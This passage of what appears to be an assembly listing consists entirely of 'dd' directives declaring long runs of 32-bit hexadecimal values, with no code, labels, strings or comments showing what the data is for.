0D885ED21h dd 54D5B3E9h, 9C09585Eh, 5A17F633h, 8C3A1D39h, 2E575DA5h dd 9A6EB0E8h, 0C3093B08h, 8B8931A6h, 0C84C884h, 0BD20D4ECh dd 67FAA4F9h, 0AC41E94Ah, 0DA163ECCh, 86EABA2Ch, 4A92F99Eh dd 7E012B53h, 262E5A76h, 95B66DECh, 19958318h, 5E565C1Fh dd 99A40E9Ch, 0C4605096h, 792071EBh, 0C3012813h, 0E90880F9h dd 12CD9253h, 376FD168h, 149C825Eh, 0AF2441D9h, 31D733E3h dd 0E016F29Dh, 16103FDEh, 0F37410EBh, 41028340h, 0B9306A33h dd 0BF65A2E9h, 584D99Ah, 905E09CEh, 91D6D3ADh, 3CF94A74h dd 7EAF613Ch, 4C60781Ah, 6B1F41F3h, 712C147h, 0A1C4E102h dd 0FBCE618Ch, 0B6D39228h, 85055E83h, 6EF2627Ah, 60D6A7A5h dd 0EAE953AAh, 25C9D44h, 0A058D2A5h, 0D78B6C0h, 0DD0147D1h dd 0E908011Ch, 43FEE68Fh, 486D7949h, 8C29251h, 0B509061Eh dd 0E0720B89h, 0D4BF1EDDh, 6802CC44h, 292E31F1h, 52AA1BE1h dd 0FFE6B9DFh, 0B959CA29h, 0AB0F6604h, 0A9F575A5h, 0D2B3243Fh dd 0D2A1C993h, 2E23F780h, 0CD8FE51Dh, 18843CC5h, 0F7F4C1E9h dd 5DB60CEFh, 660C6299h, 53502205h, 0C410C729h, 140C6808h dd 51F85813h, 1051E940h, 254B16h, 66BB0CC6h, 0C147DFF7h dd 0C97F4A12h, 73486C9Dh, 2FF06F4Fh, 0E95A4053h, 0D680524Fh dd 39809BB3h, 0EB9602F3h, 78198C0h, 56E4AB60h, 30D8368h dd 4E5E35F5h, 61F9D6F7h, 4EEA26C6h, 0EB882EE3h, 5F2C1062h dd 7B5CF939h, 6CF20021h, 3A536D7Bh, 82927DCBh, 3B8302B9h dd 572C61D0h, 0BB001FE3h, 5AAC50EEh, 9AD5FE4Bh, 0E001A093h dd 224BB2A8h, 4ED410F2h, 0B55A7458h, 0BEF83039h, 0C191C030h dd 0F6D88057h, 59C8891Ch, 0D958C2CAh, 70168C01h, 0FF704F5Dh dd 8312B707h, 0D02C4B5Eh, 6E47F701h, 0B8207CE0h, 0C3051D4Eh dd 0F6E03A79h, 0C76B7E1Ch, 0E9F73106h, 1F756445h, 5314B2C2h dd 0EAB0C27Bh, 7591088Bh, 0D8F701F8h, 0D4350480h, 89C0C148h dd 2225E9E6h, 92EDFB40h, 93B5A954h, 1176BB3h, 0DC3112EEh dd 26F30CA1h, 94CE259Fh, 97E697BCh, 8AA72848h, 3183BD23h dd 0CAF287D3h, 0B7F8D82Ah, 49CFBD00h, 0AFF809ADh, 0D5F719C5h dd 76C03A84h, 0FD52342Ah, 446BADF5h, 0B2396683h, 35FE2802h dd 16A7EE20h, 0A32D5F68h, 17841095h, 3AC2B450h, 9D700281h dd 2427C0C7h, 0A4973CE5h, 8659F3E0h, 4BE37B88h, 64A6099Dh dd 8FB4C5E1h, 0E6575A75h, 0C4EDDE99h, 14AE79h, 0D18EC35h dd 7FCEF57Ah, 6151E40Bh, 283D68E1h, 89485123h, 8E4ADC4Dh dd 67B54BB2h, 63E4664h, 7BE928B0h, 0C10064F4h, 0F68105EEh dd 39047AFh, 5EF229F7h, 0FD4FD021h, 44584D49h, 2D330202h dd 5D5B547Ah, 66929BD9h, 383199FDh, 0DC5551F9h, 0AD81AC57h dd 0F42D982Fh, 70CC7D17h, 0CD2E92A1h, 0FDFF2030h, 1D360112h dd 0B98E8901h, 2480DCEEh, 4F0902CEh, 28D0F529h, 55E0108h dd 2B715068h, 9CC88A70h, 0E1694ED5h, 878B70E7h, 88B2590Ch dd 0C069495Bh, 41C2E9FBh, 72442E26h, 6913BB7Dh, 4A4B2782h dd 88858F64h, 7C680A90h, 4403945Ah, 95DD8859h, 72BA6392h dd 4CC85B4Bh, 0B1949F52h, 0F125DA9Bh, 20581315h, 0C8BF0FB6h dd 0E9F454FAh, 235FF85Fh, 0C9F1C9BFh, 4BE6FA6Ch, 6C11C7BCh dd 5716D5E0h, 0B0A067F3h, 205141F6h, 0EAE688ABh, 2AE5694Eh dd 0BDA767D5h, 0F00BB9E9h, 0FDF3646Ch, 9366C8Ah, 8F03E8C1h dd 0EE2F444Bh, 309D8D94h, 5263806Ah, 4E0248BAh, 0D60916EAh dd 0C25Ah, 217EFDF0h, 65E91AF0h, 0AADC42F9h, 29935864h dd 0A9E9B750h, 0B7B00E3h dd 0BF01D268h, 3DD95B9Bh, 63CA2A21h, 18CE8A4Ah, 0EB1D29B5h dd 0BC6512F2h, 169446h, 68505508h, 0ED4C36ACh, 5EC602Ch dd 2F35882Dh, 0AA8CEEEBh, 530F9B32h, 9201374Fh, 25A10C16h dd 429F9F3Ah, 0D3532C52h, 0AA1A0902h, 0F00776Eh, 79631CE8h dd 78E94609h, 6E8E90BAh, 300CC9C9h, 0A5638B90h, 1EAD482h dd 614549EFh, 9A803E40h, 53D0548h, 0E916DF33h, 0FE0BD434h dd 1509CC75h, 0D31F242Fh, 0BC6F80E3h, 4B3D0C1Ch, 4E06C95Eh dd 0DF01657Eh, 4108831Ch, 7547141Ch, 3DBC02D5h, 74DF0987h dd 0AC7C956Ah, 0A0F2B7E6h, 81FA5C25h, 3B4F79B9h, 0EB4A70D1h dd 7807A1Ch, 5BD989C6h, 0BFF749AEh, 3401D616h, 0C165BA05h dd 0CE428104h, 7E15C0Ah, 29C83110h, 5F30F3FAh, 62B83E55h dd 64E73D79h, 848BCD2Dh, 0C050D705h, 4A762300h, 62FA80A8h dd 0FC77B430h, 0A5901D9h, 0F3A2E948h, 889FA4ACh, 530DA499h dd 489F5C50h, 62C3D620h, 5B40560Bh, 4697CDCCh, 0C47791A4h dd 9D38056h, 12158D1Ch, 58D746E9h, 1AFE578Ch, 0CCB45DEBh dd 5E1E05E3h, 0E82967D4h, 5F0840F2h, 0B7420AB6h, 0B0B766CCh dd 1E51FE05h, 4E1817Ah, 8131160Bh, 2AB58540h, 0E982A58Ah dd 0A0D5C7AAh, 0AB38C9F9h, 9C8DF606h, 5A660EA1h, 50145353h dd 0E8CB637Eh, 68A77D56h, 8006ADCBh, 194A0A68h, 0C3F53567h dd 1BB96F94h, 52B149E4h, 3DC3D5DCh, 4150B213h, 293A3317h dd 2CD5EDD0h, 0EB211B0Eh, 0C805D2B5h, 1E86BBFDh, 8801B446h dd 6603FE9Fh, 0A54FE4BEh, 67109107h, 0E9F30190h, 74BF4EC0h dd 0A11FACA6h, 523C80B9h, 47DDA585h, 22DA88A5h, 25F5AD0h dd 93243ACh, 0C1E7EF0Eh, 7BD09901h, 0F55B7D26h, 5FF93105h dd 564CE202h, 693ED840h, 7E7650AAh, 0BE57C360h, 21C11661h dd 7C4BC6D8h, 0B7A65D20h, 14C29D63h, 584A0678h, 0F492A2E2h dd 2B4EE9E7h, 0ACCAEAC4h, 0DC1F5D7Dh, 67685A04h, 9632BA10h dd 48B52A2h, 0B82FB7F7h, 0C502BB25h, 716ED868h, 7D7825D7h dd 34A559E3h, 25EFBCBAh, 7AF061BCh, 0CBFE802h, 4B65C201h dd 0D0259B91h, 1521C635h, 0DB08E9FDh, 4F35F24Eh, 480729F0h dd 0D7352E88h, 0A5F9036Bh, 0B2974162h, 88590579h, 21D2F325h dd 1AF5C88Dh, 0B05D0EF7h, 6011E926h, 685B60FDh, 0D947393h dd 5DC7E9C1h, 0F6B6D82Bh, 0EE23629Dh, 0E95213F7h, 5369496Fh dd 87B0D13Ch, 7CDD4E4Eh, 0B49A1574h, 46F281BAh, 7F65AAA1h dd 90439D09h, 27937DC9h, 0AA4187E5h, 0FBCCE601h, 2F265150h dd 0B032D141h, 0F7501A00h, 68535549h, 616DAD1Ch, 46B1E944h dd 1209FFC8h, 0E556469h, 3344EE79h, 0EE30AA5Ah, 0C02ED9E9h dd 2FAAE22Fh, 40BF5389h, 0B029947h, 0D6E92594h, 0B27EA962h dd 1C29263Ch, 5A9BBD80h, 1F72F35h, 67B951D5h, 7F6DDC7Eh dd 8206901Ah, 0B2124E76h, 0E0BB42BCh, 1ECDBDEDh, 8C03141Eh dd 542608F7h, 0A7305F4Eh, 179ABE56h, 1789206h, 0F805A476h dd 35193F3Bh, 1634B068h, 8905D449h, 19C4042Dh, 79D2BD1Fh dd 0ABE92189h, 0E54F5696h, 22FBC0Ch, 4073ACBFh, 0F1F84A5Fh dd 102260C5h, 0B4982FFAh, 0E25D4024h, 3923E587h, 714D57F2h dd 8872A46Bh, 0BE006074h, 0BA2DB608h, 5EF12589h, 7759CA72h dd 0F2B707C3h, 4B97F988h, 0EB80BA5Ah, 0D3E38105h, 0E0775C27h dd 49152C15h, 51EC15Bh, 0B9BBFCBDh, 71604A02h, 0EBC6E943h dd 1B2BD004h, 49362580h, 0F1731478h, 0C97FE401h, 89E9CA01h dd 5639E43Ch, 1336F6DAh, 1BA4D25Ch, 0BEA040D3h, 467B750Ah dd 0ACBF757Ah, 53C0DDF1h, 12B41BB3h, 67DC281Ch, 0EBE7843Ah dd 43D9B561h, 0D926E3Ch, 20137039h, 6F3AA6C1h, 0D016DAB5h dd 81018800h, 264E20CFh, 2D563AD4h, 0E180C501h, 0DF1CC1Eh dd 28FE06C2h, 0D0B084C8h, 0EE368A4h, 7BC35274h, 31F8CBC0h dd 0C49037C9h, 42249802h, 0C9BAE915h, 0FF40C007h, 169DF480h dd 6058E628h, 1CB15137h, 95BC6B8h, 4907D1A3h, 0D26D0E50h dd 0A0DF4A91h, 0DFC581AAh, 0FA69F258h, 6DB44E1Ah, 67B5286Dh dd 0CCDECCFEh, 264EF22Ch, 164EE45Ch, 663B838Bh, 257D8FADh dd 8BF76554h, 0BD4A4F19h, 13E5D5Ah, 8596A7DFh, 3480468Fh dd 4E603AAEh, 8811615h, 8624DA42h, 2D6E0279h, 0A5C86A5Dh dd 7710607Eh, 6C35CAF1h, 8E28477Bh, 2D010B45h, 2136C06Fh dd 0F5E459CDh, 0B92ECE7h, 3949E975h, 670B29FAh, 807AE833h dd 877822E2h, 82C16818h, 47A602EDh, 0F3417D3Fh, 32B1BBFBh dd 6B5E0D0Fh, 0DF48F9DCh, 0AB4F1294h, 0B905A548h, 80EFD10Dh dd 156F1E6Ah, 6B0C5A60h, 0B01DE982h, 692F0945h, 0E0D2728Eh dd 635F0881h, 9FF24F4Eh, 4C9F3D10h, 0D1F0992Ah, 0E381896Eh dd 1CC640A2h, 0B57592Eh, 55B9CE19h, 4FE4BC92h, 4FF64F21h dd 83655F7Ah, 4B398B3Eh, 58547704h, 0FEA02CEAh, 6E911A5Ah dd 213ADF37h, 6ED068BDh, 285CE4DBh, 0B20E9C2h, 14C9DBA0h dd 0C1907A13h, 37331529h, 8D52F117h, 9DDBACBCh, 71D34E05h dd 0F40D3320h, 55700DD7h, 7D35A22Dh, 6BE9F1B8h, 0E371A0AAh dd 8708DD2Ch, 12681E61h, 0C1803442h, 0D3509503h, 0AEB2E74Bh dd 6C9C838Dh, 2BE8B5D0h, 2630031Dh, 5368253Bh, 0AC3D8AEh dd 0F058D0C7h, 9D85E955h, 76689081h, 0F0317B7Bh, 8A4D2690h dd 162813E0h, 5F7FD3h, 90172CD8h, 0C10B5B61h, 564B06E3h dd 0E2E904EAh, 5B38ECA2h, 8476EDA6h, 80A0E927h, 351C0512h dd 0E0F95ED8h, 10495560h, 684B9E2Ah, 28DF4705h, 0AAB52538h dd 0CEF6E8CEh, 0EB75D4Fh, 3B7F2D7Bh, 0DE4190BAh, 7C9C2A18h dd 56EB6B3Bh, 71988344h, 126FBE41h, 90216475h, 0A9A5E918h dd 0EAF78DC0h, 2F9E54CCh, 0F600FB29h, 11594250h, 124A1EC1h dd 0E91158AEh, 6E54D273h, 0E406044Fh, 88051593h, 261780CCh dd 58B4C231h, 5EC1D2F7h, 1D090B03h, 9C3AFE00h, 0EEA00C4Bh dd 0F3574C21h, 0A5904726h, 590C384Ch, 0E508C668h, 911E5AF0h dd 7B9D3D30h, 5037758Ch, 64410E33h, 81C74352h, 225E9C62h dd 0F10F10CEh, 0CA50A24Fh, 880BE8F7h, 0E2D65C5Bh, 0D6FA43C3h dd 8361FC91h, 0E17C02C2h, 79E92189h, 3105CEEAh, 42C675A5h dd 44D554CBh, 5E97A850h, 52204739h, 912168DAh, 0DD494FB1h dd 1AA6E859h, 77B65117h, 27D4E909h, 128CA756h, 0F8BF0858h dd 871C54E1h, 5ECBD09h, 52001D9Eh, 0FD16D4BAh, 0CA81041Ch dd 0FC094E0Fh, 0F6FE05B2h, 7FAF405h, 0E2B025C4h, 918573E4h dd 9952B3DCh, 412F4E1Ch, 185BFF7Dh, 0A4776835h, 0EAF720FAh dd 0E73BA3FCh, 0E6E902CAh, 0D86F6B1Ch, 400C2767h, 0D013C0C5h dd 7E683DB1h, 0E55AD3C4h, 0EFEB60F3h, 501D3D56h, 594370Fh dd 60AF9124h, 633084h, 36BD5317h, 2960ACB8h, 0E58301BFh dd 0D07A4D04h, 8D011C58h, 528F1044h, 134CD55Fh, 6017FF73h dd 752911F2h, 6102D4BEh, 6A28454Eh, 1F00DD7Fh, 3F7D0E12h dd 6221E92Fh, 6D1A5FA7h, 4020F15Ah, 18949060h, 0B3BF8EEh dd 0A7FEEBB0h, 0B1D94162h, 0DE65E168h, 54204975h, 6BB49437h dd 2F1B2D91h, 0BF171737h, 0A42CD003h, 0CB999981h, 6BC51968h dd 0C7410449h, 0FFDAC427h, 0F6127A18h, 10FD7EBAh, 125EF109h dd 640B11C9h, 579B61DCh, 0B7EE1220h, 217DCF62h, 20456861h dd 0E9C4B072h, 0EB2EA453h, 1C262BFAh, 4006707Ch, 687C070Dh dd 34081CF3h, 5E14091Ch, 0B820F4E4h, 27CC80E6h, 824535C5h dd 6101822Ch, 3EE91948h dd 5AA41B4Fh, 339DBC43h, 0B89CF0A6h, 0EC59A207h, 0C181050Fh dd 85CD283Dh, 0FCAE2618h, 514A372Fh, 1262A7C2h, 0DA397060h dd 0EC3713B5h, 0E98201A2h, 925E1974h, 0E102FAE8h, 76239665h dd 8C61436h, 6198E64Eh, 54A26859h, 957A2276h, 0B1F6200Bh dd 6F4F2A1Ch, 0D8EB8934h, 2A424C6Fh, 0D97D9D03h, 8188493Bh dd 4B029FF1h, 0CA211A33h, 0DFF06359h, 907AC650h, 9F92BF3Fh dd 0BA0343DAh, 0F7608112h, 0A4F9B8D0h, 0E0024F90h, 0EB272193h dd 0A43C7A5Dh, 50D89896h, 12DFE903h, 0B10538Dh, 3FA1FAD3h dd 84EAD15Ah, 0BA010374h, 7FC401AFh, 81326B0Ch, 9AB39F0Ch dd 97F894Eh, 92F4EBE8h, 5616982Dh, 0B4904BBEh, 5CB4DF11h dd 0EB54550Eh, 0EFDA1057h, 4B71F8FEh, 0C28A8407h, 0A075B2DDh dd 0B55152A6h, 0DDF6003Fh, 8007E5C0h, 759017C5h, 0EA095999h dd 704FFC99h, 67C0ED51h, 2C796CEEh, 0C6012869h, 580881E4h dd 28949F73h, 0D8EF7517h, 0C17C0141h, 56A32435h, 212E29AAh dd 8011809Dh, 0D2F696E2h, 27C27CFEh, 0D5E42569h, 4E49E4B5h dd 5E8B8207h, 7EB9BA7Fh, 0B6CC2F48h, 6F0E6812h, 0CCC63063h dd 57DE2BA8h, 0D124576Ah, 69D6D37Fh, 0C051CB8Dh, 0B6E84236h dd 21D64BF3h, 6170A102h, 5C0E0016h, 9E9867A9h, 21E8EF7Eh dd 5989062Eh, 0A5B0F396h, 0D83126ADh, 39190884h, 7908253Ch dd 57900833h, 0D6246524h, 0B8F3CC6Eh, 14CC982Ch, 0CF4313FFh dd 103CFA2Eh, 2E054CA1h, 2109F202h, 45FCD9F6h, 68B84003h dd 24757219h, 331D97A0h, 0C179C507h, 0D58004E0h, 39B4B06h dd 0E958C689h, 850254D3h, 7B0893C1h, 0F45603Fh, 0C69BA47h dd 0F8895DEFh, 0E44E5EE6h, 49827327h, 37A35F13h, 97009C93h dd 105D7AE5h, 0FA56452Dh, 0D13C4894h, 54810C89h, 89109B68h dd 0DEBACCB9h, 853896A5h, 5570B34Ch, 742CF103h, 984F7971h dd 5C92AF3h, 957DBBE2h, 478F8BD6h, 0D99D2CD3h, 0AE9C842h dd 0F00646ABh, 0D8D449A1h, 20EE450h, 0C16B5347h, 59FC06EEh dd 0F02EF601h, 2BBBA2h, 563A05A2h, 0E9124A8Eh, 0BAB23F17h dd 59669D0Eh, 0D314D346h, 10D7E2Ch, 6AF3898Bh, 52447E59h dd 0F4E28C7Ch, 0C4135D97h, 633195C1h, 3A648B8h, 472852CCh dd 0E23BE8BBh, 0D79436h, 0B02AA2Dh, 0BE2AE922h, 0F8B8EA9Ah dd 0B1E25A4Eh, 69C0FF66h, 223E2D00h, 5E687D50h, 0A2E0A83Ah dd 2A8981F6h, 67E144D0h, 663F4866h, 0F9504506h, 34138E19h dd 0EB00BD16h, 592106E1h, 8160B40Eh, 7264BC9h, 191E8267h dd 0C00DDF4Dh, 2D37EF00h, 88D05FB2h, 0C9984F50h, 8D648091h dd 301D93BCh, 0FDADAC3h, 46AB6F40h, 5245CA2Fh, 0A2B320DDh dd 53AEB906h, 8807836h, 6F61070Fh, 0EC03D40Fh, 18400C71h dd 2418132Dh, 0D00207Fh, 7BBD556Ah, 0D7A1D21h, 15DE929h dd 0B3677A9Eh, 1A9D52C9h, 0ADCF685Ah, 0BAFD3EE2h, 39B5606Ch dd 0C61BD33h, 127D3915h, 0F5CA5EF3h, 6865A45Eh, 93CD235Eh dd 41450F20h, 9FB900F5h, 0EDF37774h, 80B32401h, 8832F109h dd 42B65C8h, 0C020772Ch, 80EED00Ch, 23FCAFEAh, 0E9F02805h dd 70EB1F87h, 776850FDh, 0BC8C345Eh, 0ABBAF4h, 0F233DF2Dh dd 72150553h, 18385E4Ch, 8888FAF1h, 3C1BBBFDh, 659EB13h dd 0ABA68502h, 5A36C13Eh, 737196E6h, 5818706Eh, 80587F0h dd 0AD03EDC0h, 0E9E80657h, 0B542EAFFh, 0C43017C9h, 2EC29EFh dd 0D4C314F5h, 0B507F45Fh, 0D444723Ah, 0F9FE0EC6h, 0BFFD809Fh dd 97FE6A15h, 0D6F8D2F0h, 652F109Eh, 1A3E28ACh, 209629E9h dd 87063253h, 7D0F53DAh, 41D949E9h, 1344B104h, 0B3758256h dd 72C50680h, 3F4FD66Ah, 0A2ED4DB0h, 33863108h, 91124678h dd 2DE2E338h, 0BEA64142h, 580676FCh, 2034FA5Dh, 7974F90Dh dd 4F5F2A40h, 0F284D85Ah, 2592C69Dh, 0DF5C4D68h, 5C975667h dd 1770B6F3h, 0E2974948h, 3A813075h, 5AF80717h, 8432E347h dd 62EC1F3Bh, 8C422188h, 815C0095h, 531F02CFh, 320B4956h dd 5069E827h, 1EC02851h, 2ED307ECh, 52294C8Eh, 45EAFDE9h dd 0A14CE80h, 10F67365h, 4E914C49h, 3594C93h, 156DBF67h dd 0D8D14DE3h, 0A6203E13h, 6600ABAh, 0E2C177A5h, 87027808h dd 0F7393E45h, 0EA5241DAh, 1CF5D007h, 2E1F312Dh, 8E52EB89h dd 14687042h, 9E9BB801h, 678A395Eh, 12F0C8D0h, 0C4ED2E12h dd 7652BB4Bh, 2F9F34B9h, 2A52E642h, 39423504h, 4BEE06F1h dd 0DF408E8Fh, 34593768h, 0DE7F8486h, 0B7140D12h, 0B3CC6A97h dd 0D42FEF5Ch, 0B105BC44h, 9672B6A7h, 68E6829Fh, 35A10D45h dd 0CF0BF4BFh, 0E60455DBh, 58CF0462h, 43B2C601h, 67D84757h dd 634C02B5h, 689497C0h, 0E9A42E09h, 4D4C41C2h, 0FAA7C20h dd 8914BA41h, 32F95DABh, 0CADE313Ch, 0EF04AD64h, 8FBC1F13h dd 5611E9B0h, 109F8ABCh, 0C19480Ch, 0FC5C129Eh, 6D0F547h dd 14830C08h, 0BDBE6414h, 163C887Dh, 10E8B8D7h, 77735809h dd 0A7C8B183h, 0D29156A2h, 6E5DBD00h, 0CC3C6F19h, 0E3CB1385h dd 0EEC54AF1h, 69ADBD00h, 4FC144ABh, 0A45880E6h, 954C6D35h dd 0EA2015h, 80619CBBh, 74C38168h, 2C391116h, 0F58031C4h dd 58F679CBh, 6E60AF07h, 21EDB053h, 126B39F9h, 60B81C70h dd 3021AAD2h, 0CB7B2E57h, 0B850006Dh, 524979F6h, 0C1D000F7h dd 4C3503E0h, 6D1AB430h, 5958C701h, 31740210h, 0F78069A1h dd 6B8F73D7h, 1CD0017Ch, 0B0553508h, 0B04E2483h, 0CB03F8E9h dd 0FAD2D999h, 79ED422h, 35E37CDh, 75E56014h, 0A40416Ah dd 0B60CD874h, 215B5DEEh, 502C5AB2h, 0E84E0824h, 9FDBD13h dd 136C0110h, 3ED5E5Dh, 83D82A8Bh, 89234597h, 392A9341h dd 5589250Dh, 0EE232E60h, 893F02F6h, 9601DDC1h, 0FA85CF04h dd 5AD72903h, 3F5FF9F9h, 0EE6057D9h, 6B751236h, 0E9CD0543h dd 4EB9A8ECh, 0C3C0A2E2h, 54867D39h, 918E92Fh, 9890FEF8h dd 4D134C59h, 683F5804h, 96B92785h, 0EC3047C5h, 18F8E467h dd 0B371E9A0h, 4A606C95h, 75592159h, 93417EAFh, 3DF410E1h dd 8E7507Eh, 48382575h, 64EF277Ch, 6AD89299h, 75D84C21h dd 83A20127h, 5C0CF9FDh, 0C8DB002h, 3E910574h, 0D516EC60h dd 20E8FBE4h, 5B7CEC93h, 213EAE3Dh, 0D09D37Eh, 0E2A47C38h dd 35F4C485h, 0C200012h, 29527141h, 4F647FEDh, 0F2F40D19h dd 3F14DF90h, 0C607AB68h, 32B3EDAFh, 0BF615683h, 6DD86A9Fh dd 8DB75ED0h, 572024DBh, 3FBEBF04h, 26C01997h, 5C009C8h dd 0E9F72968h, 0FA0A95CEh, 757ABA00h, 135B637Bh, 22244F31h dd 84EAA00Dh, 0B3F0A0F0h, 27D09B4Fh, 92D1F707h, 6D860F1Ah dd 0BD163188h, 3763108Fh, 0B195A150h, 60DF0F89h, 0D5F75180h dd 17C1ED83h, 0E6879099h, 8120A320h, 8D677F58h, 59ABB8D2h dd 0A5561D69h, 7C2F874h, 0FEC20BA1h, 7C490159h, 0FA15A0Ah dd 284A2368h, 0C029CB54h, 0B90966E8h, 914B0841h, 16BB782Dh dd 2458D18h, 0A41BA54Bh, 0E4500075h, 0C1596063h, 0E9454DDEh dd 48D23C36h, 0D0118F5Fh, 49C0680Ah, 0FD54493Ah, 501EEFA6h dd 802B5519h, 188F170h, 0D80459EAh, 202CD028h, 9B5AB08Ch dd 29BA0E52h, 0C8E01151h, 90E978FFh, 0CB7A2ED6h, 0BB530B00h dd 5F689Bh, 1F21BD1Dh, 0DD2911E8h, 802CE92Fh, 0B4B5515Ah dd 8414C8F6h, 0A5F2F9AFh, 520F99C5h, 0F35DA068h, 25E95A6Fh dd 0D7760F90h, 103CA367h, 0E62F9888h, 8D595CCAh, 4F211654h dd 0BA73D4D0h, 50977761h dd 30840B78h, 21092E8h, 5816626h, 0E95305B7h, 7AE91Dh dd 8F3315BBh, 14EB8140h, 0B089AA90h, 5E23CE7Bh, 9850FACBh dd 334BBADFh, 0AF405326h, 0E6E96918h, 3374D14Eh, 69B37881h dd 0B86D40C5h, 9B2AA34Eh, 289800E0h, 43304D1Eh, 6AB8514Bh dd 0C822AFF3h, 0EF61B9Eh, 20E580D5h, 0FEA3F561h, 17EF69C5h dd 64E4EFEDh, 91A46219h, 30C1E4F1h, 6B4E219Fh, 60935488h dd 5BC623CFh, 6F60124Fh, 0DFBDE10Ch, 51029D8Ah, 255ECD01h dd 803BCA58h, 51CD001h, 36013F46h, 60AE685Ah, 50806B57h dd 4A1E3765h, 460E355Eh, 0BD7F74Bh, 0FA36BA80h, 24BFE891h dd 0C11B82DBh, 6094A1A7h, 0C8353EDh, 570C598Eh, 1002D9C3h dd 38F48756h, 5215E89h, 844B9EEDh, 8817AAB3h, 5E1806F6h dd 8F69C941h, 351A30A0h, 25B064F0h, 2620440h, 0E9688648h dd 0F859EF9Eh, 17332EA5h, 592730ACh, 2DD3AB09h, 0EF21CC92h dd 26166761h, 0F68BB100h, 0B6C180D1h, 0F89C30E9h, 0FBDEE89h dd 0C8567C38h, 0CFDE1398h, 9DC364ACh, 0EA2E6950h, 667041FAh dd 818C9143h, 0D102EFC1h, 0BC9F70E7h, 0A622444Bh, 0A19E1009h dd 0F763A2BEh, 0C7EF2DB8h, 0EFCF8868h, 72DF6102h, 75DB04E9h dd 6CDEFDA0h, 0E2B55F6Ah, 0E4827D31h, 62D1378Bh, 0AE19D16Eh dd 2AAD408Eh, 4BFC6800h, 0C14D0Eh, 0EA8103E2h, 459B5B0Ah dd 57EFE29Dh, 7241A06Ah, 5A106C99h, 3192BFA2h, 2F2BE9E8h dd 0E5E1B74Eh, 0AFC9D73Dh, 9553E4F8h, 0E7201AC6h, 0EB0406E3h dd 452CBD68h, 24941320h, 14B2E5D0h, 1784FF06h, 0FC801633h dd 90890363h, 32902513h, 0CA02F171h, 5C42B015h, 5E05503Ch dd 33D1FA04h, 0F5ED35E9h, 0C7FCEF30h, 963046EAh, 51470C3Ah dd 1D0B5BF3h, 8F7ACAAh, 5D13ECD9h, 0F871A07h, 0E3C124F1h dd 4D51017Bh, 30362F46h, 0C5FE426Fh, 5C01743Bh, 5D084056h dd 0F70830C2h, 0CAC3E2D3h, 1B86D676h, 0D7E0632h, 5E8DD825h dd 2F24CAE6h, 8B5C7A89h, 0D5A70552h, 5CF522BFh, 3BB799DDh dd 0A7D8105h, 0D25802BCh, 0C34B4B4Fh, 3850FE00h, 3DAB9B13h dd 0D6681409h, 65A0DC5Eh, 3B63E1D4h, 637E5DCAh, 0C3013F7Ch dd 485933A1h, 4A97F5F8h, 97AF3FFh, 0D1D1B074h, 49ADA632h dd 747E5C74h, 0A27B13E8h, 0A2977Dh, 0F6D8899Ah, 304A22F0h dd 660E6EB3h, 0F51608B3h, 62E42E17h, 17C9E19h, 3A57AF2Dh dd 34AF307Ah, 44A3614Fh, 5C02BF02h, 7AFE38B0h, 0BB31F305h dd 47FA17D4h, 82C3290Ch, 0A7B2B3AFh, 0DAF20843h, 55E95FFEh dd 0E5EE832Dh, 5CBF62D3h, 0DE9A478h, 0B34AB885h, 0F626792Fh dd 0C64013F7h, 0B03F676Ah, 0C4AF831h, 49E91F9Ah, 2D04403Fh dd 0D5344B01h, 3F890B1h, 3277BAB1h, 97604FEEh, 6A15266h dd 0E1E00D66h, 0FD98B56Eh, 0F6007025h, 8433BE0Bh, 2F2948DBh dd 46D259CEh, 0C8F0E912h, 0AE046D65h, 0AD10AABEh, 71781201h dd 42FE31FAh, 0A1DDF7A3h, 8C4DE9F9h, 50592880h, 0EA4F24B8h dd 90254900h, 0E9605F45h, 8858FBC4h, 48532A68h, 36544E59h dd 0E70A702Bh, 0E518607Dh, 560DE31Ah, 89680A5Dh, 20552077h dd 6696CB1Ch, 7CAA926Fh, 71955E60h, 71E9E188h, 0E5907BC7h dd 7B9E4C50h, 0F4273047h, 1A1FF217h, 0D1770826h, 900EC001h dd 5D2231E2h, 82B2E250h, 261C7E41h, 53EA0073h, 0DBF6EEB3h dd 7EB25C0h, 0B399354h, 620EE993h, 0B637471h, 57DE2B1Eh dd 0C5BE5669h, 0A7DF445Ch, 50BFA4F6h, 79A55207h, 2950CD81h dd 5FF71B57h, 7BA48DDDh, 0EDCFAD1Ch, 3BF58002h, 2E365FC6h dd 4910EB29h, 344AB150h, 0D6B139C5h, 684A178h, 0A230AEF2h dd 547616D2h, 770DAA43h, 0B0264A35h, 0B1CA870Ch, 65028653h dd 555B5616h, 0C0830AE5h, 304A627Ch, 579A08A0h, 52123FC7h dd 9EA4EB21h, 0D837416Eh, 0B54C5173h, 9A5E1911h, 0D8C8D391h dd 0BB5A005Bh, 43970571h, 35CF9FE9h, 0EABD365Dh, 59410125h dd 885000CFh, 9F41F0E8h, 0FA68C681h, 14F542Fh, 9343B6BDh dd 87B312Ah, 1AC150A6h, 0D0518E9h, 75D61DD1h, 0B0578632h dd 829F1B90h, 0FE27AAF2h, 8A4FF1AEh, 4097157Eh, 18872C14h dd 0ACF00AB0h, 5B237F82h, 531005BBh, 5C008A8Dh, 0A685557h dd 5CDE8E6Fh, 0D3201913h, 5CA9DE49h, 5B2C1DA2h, 3194A45h dd 13ABF6B5h, 250EFC59h, 9121665Fh, 63E962ECh, 0E25C65DAh dd 16125BE8h, 0F86928EAh, 0F93C2741h, 0BF5465D6h, 0AA48DB04h dd 0C8018804h, 274FC299h, 597FEDCFh, 0B90091FCh, 699E6B59h dd 601E1C1h, 1555F181h, 0C27F4D5Ah, 5CCAB487h, 0F3FBEF63h dd 60CB49B3h, 3FADE3B0h, 27FA7964h, 7BAD290h, 0ED392624h dd 5EEA06Fh, 17D35E23h, 4501EA09h, 0AE2889C2h, 0F9DCFF70h dd 0EE585C3h, 0C82FB3E5h, 1143DFBh, 25DFF1DBh, 7210FE4Ah dd 0A78FD42h, 0AEF05B4Bh, 784B180Ah, 0B9620D72h, 5DB6354h dd 0A523AC02h, 0D011E961h, 0A5CCBDF5h, 2515E595h, 0AE88A859h dd 9F06A4Bh, 0FC5ABE51h, 503D140Fh, 0CF2F657Dh, 773962A5h dd 1B9B124Eh, 0EEBBCBB6h, 2B5808BBh, 0F713780Bh, 141F3870h dd 7FCB459Fh, 0EB53DC46h, 89596F76h, 95B987Ah, 8A497BEDh dd 40760D9h, 4A7DF679h, 2CB8B31Dh, 8993AC94h, 0F2013505h dd 4E6830CCh, 0BE2B30DDh, 2D5C86C1h, 8B0C1667h, 306CF766h dd 